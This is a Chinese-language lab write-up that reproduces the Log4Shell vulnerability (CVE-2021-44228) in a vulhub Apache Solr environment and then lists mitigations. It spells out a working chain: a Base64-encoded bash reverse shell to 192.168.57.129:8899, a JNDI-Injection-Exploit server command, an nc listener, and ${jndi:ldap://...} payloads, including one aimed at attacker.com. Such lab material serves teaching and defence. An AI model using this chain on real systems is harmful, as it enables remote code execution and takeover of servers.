Log4j2 漏洞复现
字数 1107 2025-08-10 13:48:22
Log4j2 漏洞(CVE-2021-44228)复现与分析
1. Log4j2 简介
Log4j2 是Apache Log4j项目的下一代日志记录库,为Java应用程序提供高性能、灵活性和可配置性的日志记录功能。主要用途包括:
- 记录应用程序运行日志
- 监控应用程序运行状态
- 故障诊断与分析
- 性能分析与优化
- 满足合规性和安全性要求
2. 漏洞原理
2.1 漏洞核心机制
Log4j2 允许通过${}语法调用系统变量,例如:
<PatternLayout pattern="%d{HH:mm:ss.SSS} ${sys:a} [%t] %-5level %logger{36} - %msg%n"/>
其中${sys:a}会被替换为系统变量a的值。
2.2 漏洞利用点
攻击者可以利用更复杂的语法:
${jndi:ldap://attacker.com/exploit}
这种语法允许Log4j2通过JNDI(Java Naming and Directory Interface)加载远程类并执行反序列化操作。
2.3 漏洞触发路径
在Apache Solr中的具体触发路径为:
/solr/admin/cores?action=${jndi:ldap://attacker.com/exploit}
action参数值会被Log4j2解析执行。
3. 漏洞复现步骤
3.1 环境准备
- 靶场环境:vulhub log4j2 CVE-2021-44228
- 攻击工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
3.2 攻击流程
步骤1:准备反弹Shell命令
原始反弹Shell命令:
bash -i >& /dev/tcp/192.168.57.129/8899 0>&1
Base64编码后:
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx
完整执行命令:
bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx}|{base64,-d}|{bash,-i}
步骤2:启动JNDI服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx}|{base64,-d}|{bash,-i}" \
-A 192.168.57.129
步骤3:启动NC监听
nc -lvnp 8899
步骤4:构造并发送攻击Payload
访问目标URL并附加Payload:
http://target/solr/admin/cores?action=${jndi:ldap://192.168.57.129:1389/w1t1db}
步骤5:接收反弹Shell
成功执行后,攻击者的NC监听端口将收到目标系统的Shell连接。
4. 漏洞防御建议
- 立即升级到Log4j2 2.15.0或更高版本
- 对于无法立即升级的系统:
- 设置系统属性
log4j2.formatMsgNoLookups=true - 移除JndiLookup类:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- 设置系统属性
- 限制出站网络连接,特别是LDAP和RMI协议
- 启用WAF规则拦截包含
${jndi:等特征的请求
5. 技术要点总结
- 漏洞核心是利用Log4j2的
${}语法和JNDI功能 - 攻击需要控制一个JNDI服务来提供恶意类
- 反弹Shell需要编码处理以避免特殊字符问题
- 漏洞利用不限于Solr,任何使用受影响版本Log4j2的应用都可能被攻击
6. 参考工具
- JNDI-Injection-Exploit:用于搭建恶意的JNDI服务
- Vulhub:提供漏洞复现的Docker环境
- NC(netcat):用于监听反弹Shell连接